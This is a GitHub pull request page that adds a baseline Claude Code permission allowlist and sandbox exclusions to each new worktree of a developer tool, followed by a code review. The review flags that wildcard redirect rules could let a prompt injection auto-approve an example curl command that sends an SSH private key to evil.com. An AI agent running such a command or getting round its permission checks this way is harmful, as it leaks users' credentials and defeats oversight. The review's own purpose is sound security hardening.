Skip to content

Scaffold baseline allowlist into each crow worktree#248

Closed
dhilgaertner wants to merge 2 commits intomainfrom
feature/crow-247-baseline-allowlist
Closed

Scaffold baseline allowlist into each crow worktree#248
dhilgaertner wants to merge 2 commits intomainfrom
feature/crow-247-baseline-allowlist

Conversation

@dhilgaertner
Copy link
Copy Markdown
Contributor

Summary

  • New skills/crow-workspace/session-settings.template.json with a baseline permissions.allow list covering the commands the crow prompt template instructs sessions to run on step 1 (gh issue view, glab issue view, gh pr view), git operations a feature branch needs, common shell utilities (cat, grep, jq, tee), and redirects to $TMPDIR / /tmp/claude.
  • setup.sh now copies the template to {worktree}/.claude/settings.local.json between setup_worktree and create_session. Best-effort (logs and continues on failure); leaves any existing settings.local.json untouched.
  • Scaffolder.swift emits the template alongside setup.sh in {devRoot}/.claude/skills/crow-workspace/ so it's available at runtime.
  • Resources/crow-workspace-session-settings.json.template mirrors the source for the production app bundle (scripts/bundle.sh already ships Resources/*.template).
  • SKILL.md documents the new behavior under ## crow Session Creation.

.claude/settings.local.json is auto-gitignored by Claude Code on creation, and permissions.allow arrays merge across scopes — so the baseline augments rather than overrides any project-shipped .claude/settings.json.

Test plan

  • make build — Scaffolder.swift compiles
  • bash -n setup.sh — script syntax valid
  • Function-level run of write_session_settings against a throwaway WORKTREE_PATH — file lands at {worktree}/.claude/settings.local.json with contents that exactly match session-settings.template.json
  • Re-running against the same worktree logs already exists, leaving untouched and does not modify the file
  • python3 -m json.tool parses both skills/... and Resources/... template files
  • Live /crow-workspace session against a GitHub issue — step 1 (gh issue view) runs without prompting

Closes #247

Every Claude Code session launched by /crow-workspace landed in a fresh
worktree with no permission allowlist, so it prompted for routine commands
the prompt template itself instructs the session to run on step 1
(gh issue view, gh pr view, cat, tee, $TMPDIR redirects). Painful in
solo flows; multiplied across tabs in /crow-batch-workspace. The
dev-root .claude/settings.json was never inherited because Claude Code
doesn't walk up parent directories.

setup.sh now drops a baseline .claude/settings.local.json into each
new worktree (gitignored on creation, merged with any project-shipped
.claude/settings.json) sourced from session-settings.template.json
next to the script. Existing settings.local.json files are left alone.
Copy link
Copy Markdown
Collaborator

@dgershman dgershman left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code & Security Review

Critical Issues

None.

Security Review

Strengths:

  • write_session_settings() is best-effort — failures log and continue, never blocking worktree setup
  • Idempotent: existing settings.local.json is preserved, preventing overwrites of repo-shipped or manually tuned settings
  • The allowlist augments (via Claude Code's scope-merge behavior) rather than replaces project-level settings.json
  • crow commands are limited to read-only + set-status — no delete-session, new-terminal, or send
  • Minimal fallback in Scaffolder grants an empty allow list, so a missing template never silently grants permissions

Concerns:

  • The redirect patterns Bash(* > $TMPDIR/*), Bash(* > /tmp/claude/*), Bash(* | tee $TMPDIR/*), and Bash(* | tee /tmp/claude/*) use a leading wildcard that matches any command redirecting to those paths. A prompt injection could exploit this to auto-approve arbitrary commands like curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) > $TMPDIR/out. The sandbox provides defense-in-depth, but consider anchoring the command prefix (e.g., listing specific commands that may redirect) or documenting the accepted risk.
  • Bash(gh api graphql:*) and Bash(gh api repos:*) grant broad GitHub API access to worker sessions — powerful enough for token introspection or mass mutations. These are needed for project board automation, but worth noting as a broad surface.

Code Quality

  • Scaffolder addition follows the established pattern exactly: loadFromRepoBundle.main → inline fallback
  • SCRIPT_DIR derivation in setup.sh is correct and uses the canonical BASH_SOURCE[0] approach
  • Call ordering in main() is correct: setup_worktreewrite_session_settingscreate_sessionlaunch_claude
  • Both template files (Resources/ and skills/) are byte-identical ✓
  • Both templates validate as clean JSON ✓
  • bash -n setup.sh passes ✓
  • bundle.sh already globs Resources/*.template, so the new file is picked up automatically with no script changes needed
  • SKILL.md documentation is clear and covers the idempotency and merge semantics

Summary Table

Priority Issue
🟡 Yellow Leading-wildcard redirect patterns (* > $TMPDIR/*) auto-approve any command that writes to temp dirs — consider anchoring or documenting accepted risk
🟡 Yellow gh api graphql:* / gh api repos:* in worker sessions is a broad API surface
🟢 Green swift build fails in review worktree due to missing GhosttyKit.xcframework (submodule dependency) — not a PR issue, just can't verify full compilation in this environment

Recommendation: Approve — this is a clean, well-structured addition that follows existing patterns. The two yellow items are worth considering but are mitigated by Claude Code's sandbox and the fact that worker sessions already operate with broad trust. The redirect wildcards are the most noteworthy item for a future tightening pass.

The first cut only set permissions.allow, which still left sandbox-enabled
users seeing an "unsandboxed" prompt for gh issue view and friends —
permissions allow the call but the sandbox separately gates network access.

Add sandbox.exclude_commands: [git, crow, gh, glab] to the template.
Critically omit sandbox.enabled so the key resolves to whatever each
user has set globally — sandbox-off users stay off (and the exclude list
is a no-op for them), sandbox-on users get the prompts suppressed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

crow-workspace: scaffold baseline allow list into each worktree's .claude/settings.local.json

2 participants